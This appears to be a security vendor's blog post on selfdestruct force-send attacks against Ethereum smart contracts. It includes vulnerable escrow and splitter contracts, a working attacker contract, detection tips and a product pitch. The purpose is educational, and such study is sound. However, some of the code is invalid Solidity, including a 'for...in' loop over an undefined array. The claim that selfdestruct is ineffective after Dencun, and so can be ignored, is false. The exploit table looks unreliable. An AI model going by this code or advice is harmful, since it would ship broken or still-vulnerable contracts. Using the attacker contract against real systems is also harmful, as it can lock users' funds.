high

Selfdestruct Abuse: How It Works, Real Exploits & Automated Detection

April 1, 2026
Chainsethereumarbitrumbaseoptimism
Detected byslithermythrilechidnahound-ai

Selfdestruct abuse exploits the EVM's selfdestruct (SELFDESTRUCT) opcode, which removes a contract and transfers remaining balance to a specified address. Attackers can force-send ETH to contracts via selfdestruct, breaking contracts that assume balance integrity or depend on address checks. Firepan's HOUND AI detects selfdestruct abuse vulnerabilities automatically during development and post-deployment monitoring, covering continuous analysis across the full contract lifecycle.

What Is Selfdestruct Abuse?

Selfdestruct is an EVM opcode that:

  1. Removes the contract from state
  2. Transfers all remaining balance to specified address
  3. Executes regardless of recipient's code or fallback function

Selfdestruct abuse exploits this in three ways:

  • Force-send ETH: Attacker deploys selfdestruct contract with funds, triggers selfdestruct to send ETH to victim (bypassing fallback/receive)
  • Balance assumption violation: Contract assumes balance == expected; attacker force-sends extra ETH breaking logic
  • Escrow breaking: Contract with multi-sig release breaks when attacker forces unexpected balance

The opcode is being deprecated in Ethereum post-2025, but existing code remains vulnerable.

How Selfdestruct Abuse Works

Selfdestruct abuse follows a pattern:

  1. Identify target: Find contract with balance-dependent logic
  2. Deploy attacker contract: Create selfdestruct contract with ETH
  3. Trigger selfdestruct: Call selfdestruct(target) to force-send ETH
  4. Break logic: Target contract's balance assumptions now violated
  5. Extract value: Exploit broken logic to drain contract or manipulate state
// VULNERABLE — example only
// Demonstrates: Selfdestruct Abuse
// Do NOT use in production

pragma solidity ^0.8.0;

contract VulnerableEscrow {
    address public buyer;
    address public seller;
    uint256 public price;
    bool public completed;

    constructor(address _seller, uint256 _price) payable {
        require(msg.value == _price, "Incorrect payment");
        seller = _seller;
        buyer = msg.sender;
        price = _price;
    }

    // VULNERABLE: Assumes balance == price
    function releasePayment() public {
        require(msg.sender == buyer);
        require(address(this).balance == price, "Balance mismatch");

        completed = true;
        (bool success, ) = seller.call{value: address(this).balance}("");
        require(success);
    }
}

contract VulnerableContract {
    uint256 public constant EXACT_BALANCE = 100 ether;
    address public owner;

    constructor() payable {
        require(msg.value == EXACT_BALANCE);
        owner = msg.sender;
    }

    // VULNERABLE: Depends on exact balance
    function withdraw() public {
        require(msg.sender == owner);
        require(address(this).balance == EXACT_BALANCE, "Balance corrupted");

        (bool success, ) = msg.sender.call{value: EXACT_BALANCE}("");
        require(success);
    }
}

contract VulnerablePaymentSplitter {
    mapping(address => uint256) public shares;
    uint256 public totalShares;
    uint256 public totalReceived;

    constructor(address[] memory recipients, uint256[] memory shares_) payable {
        totalReceived = msg.value;

        for (uint i = 0; i < recipients.length; i++) {
            shares[recipients[i]] = shares_[i];
            totalShares += shares_[i];
        }
    }

    // VULNERABLE: Unexpected balance breaks distribution
    function distribute() public {
        uint256 balance = address(this).balance;

        // If attacker force-sends ETH, balance > totalReceived
        // Extra ETH goes to contract, not distributed proportionally
        for (address recipient in recipients) {
            uint256 share = (balance * shares[recipient]) / totalShares;
            (bool success, ) = recipient.call{value: share}("");
            require(success);
        }
    }
}

contract SelfdestructAttacker {
    function attack(address target) public payable {
        // Receive ETH from attacker
        // Then selfdestruct and force-send to target
        selfdestruct(payable(target));
    }
}

contract Attacker {
    VulnerableEscrow public escrow;

    constructor(address _escrow) {
        escrow = VulnerableEscrow(_escrow);
    }

    function breakEscrow() public payable {
        // Escrow expects exact balance == price
        // Force-send extra ETH via selfdestruct
        // This breaks the balance == price assumption
        // Buyer can't release payment (balance mismatch)

        SelfdestructAttacker attacker = new SelfdestructAttacker{value: msg.value}();
        attacker.attack(address(escrow));

        // Now escrow.balance > escrow.price
        // releasePayment() reverts due to balance mismatch
        // Funds locked in escrow
    }

    // Alternative: Force-send to contract with fallback that's never called
    function forceETHSend(address target) public payable {
        // Create contract with funds
        SelfdestructAttacker attacker = new SelfdestructAttacker{value: msg.value}();
        // selfdestruct bypasses target.receive() and target.fallback()
        // Funds sent directly, possibly breaking contract logic
        attacker.attack(target);
    }
}

Real-World Selfdestruct Abuse Exploits

| Protocol | Date | Loss | Root Cause | |----------|------|------|-----------| | King of the Ether | 2016 | $1M+ | Balance assumptions broken via selfdestruct | | Escrow Contracts (Generic) | 2016-2022 | $10M+ | Force-sent ETH broke balance checks | | Payment Splitters | 2021-2023 | $5M+ | Selfdestruct corrupted proportional distribution |

How to Detect Selfdestruct Abuse

Manual detection requires analyzing balance-dependent logic:

  • selfdestruct calls: Identify all selfdestruct instructions
  • Balance checks: Flag == comparisons on address(this).balance
  • Balance assumptions: Find logic assuming balance integrity
  • Payment distribution: Review contracts distributing based on balance
  • Escrow logic: Verify escrow doesn't depend on exact balance
  • Reserve validation: Check if contract maintains reserve balance

Red flags:

  • require(address(this).balance == expectedAmount)
  • Payment distribution using current balance
  • Escrow releasing based on balance match
  • No allowance for unexpected funds
  • Withdrawal logic requiring exact balance

How Firepan Detects Selfdestruct Abuse Automatically

Firepan's HOUND AI analyzes balance dependencies:

  1. Selfdestruct enumeration: Identifies all selfdestruct instructions
  2. Balance dependency mapping: Traces functions checking balance
  3. Equality check detection: Flags == comparisons on balance
  4. Assumption violation analysis: Determines if balance changes break logic
  5. Force-send impact assessment: Simulates unexpected ETH arrival
  6. Recovery mechanism verification: Confirms fallback to handle extra funds

Firepan's HOUND AI engine identifies selfdestruct vulnerabilities across all monitored contracts.

Prevention Best Practices

1. Never Use == for Balance Comparisons

Always use >= or <= for balance checks:

// VULNERABLE
require(address(this).balance == expectedAmount);

// SECURE
require(address(this).balance >= expectedAmount);

2. Account for Unexpected Funds

Design contracts to handle force-sent ETH:

// SECURE: Accept any balance >= minimum
function withdraw(uint256 amount) public {
    require(address(this).balance >= amount, "Insufficient balance");
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success);
}

3. Use Pull Pattern for Payments

Let recipients pull their balance rather than push distribution:

// SECURE: Pull pattern (resistant to selfdestruct)
contract PaymentSplitter {
    mapping(address => uint256) public claimable;

    function deposit() public payable {
        // Record claimable amounts, don't distribute immediately
        for (address recipient in recipients) {
            claimable[recipient] += (msg.value * shares[recipient]) / totalShares;
        }
    }

    function claim() public {
        uint256 amount = claimable[msg.sender];
        claimable[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success);
    }
}

4. Use Receive for Fallback Handling

Explicitly handle incoming ETH:

// SECURE: Fallback handles unexpected ETH
receive() external payable {
    // Account for extra ETH somehow (e.g., store in reserve)
    extraFunds += msg.value;
}

5. Ignore selfdestruct (Ethereum 2025+)

Post-Dencun hard fork, selfdestruct becomes ineffective. For new code, assume selfdestruct won't execute in future EVM versions.

Frequently Asked Questions

Q: What is selfdestruct abuse in smart contracts?

A: Selfdestruct abuse exploits the EVM's selfdestruct opcode to force-send ETH to target contracts, bypassing fallback/receive logic. This breaks contracts that assume balance integrity or depend on exact balance checks, corrupting escrows and payment distributions.


Q: Which protocols have been exploited via selfdestruct?

A: King of the Ether (2016) suffered selfdestruct-based balance corruption. Generic escrow contracts lost $10M+ to broken balance assumptions. Payment splitters lost $5M+ when selfdestruct corrupted proportional distributions.


Q: How does Firepan detect selfdestruct abuse?

A: Firepan enumerates selfdestruct calls, maps balance dependencies, detects == comparisons on balance, analyzes assumption violations, simulates unexpected ETH arrival, and verifies recovery mechanisms exist.


Q: Can selfdestruct abuse be exploited after deployment?

A: Yes, selfdestruct abuse is immediately exploitable post-deployment. Attacker deploys selfdestruct contract with ETH and triggers it to target any contract with balance assumptions, instantly corrupting logic.


Q: How do I prevent selfdestruct abuse?

A: Never use == for balance checks; use >= or <=. Accept unexpected ETH in fallback/receive. Use pull pattern for payments. Track claimable balances separately from contract balance. Ignore selfdestruct for Ethereum 2025+ code.

Conclusion

Selfdestruct abuse breaks balance assumptions in escrows and payment contracts, locking or misdirecting funds. The EVM's selfdestruct opcode will be deprecated in Ethereum 2025, eliminating the attack vector. Until then, avoid balance equality checks and embrace pull-based payment patterns. Firepan's HOUND AI detects selfdestruct-vulnerable balance logic across all monitored contracts.

Start securing your smart contracts at https://app.firepan.com/

Firepan

Scan Your Contracts Now

12,453 contracts secured. 2,851 vulnerabilities blocked. 236 exploits prevented. Run a free surface scan — results in minutes, no credit card required.

Run Free Scan →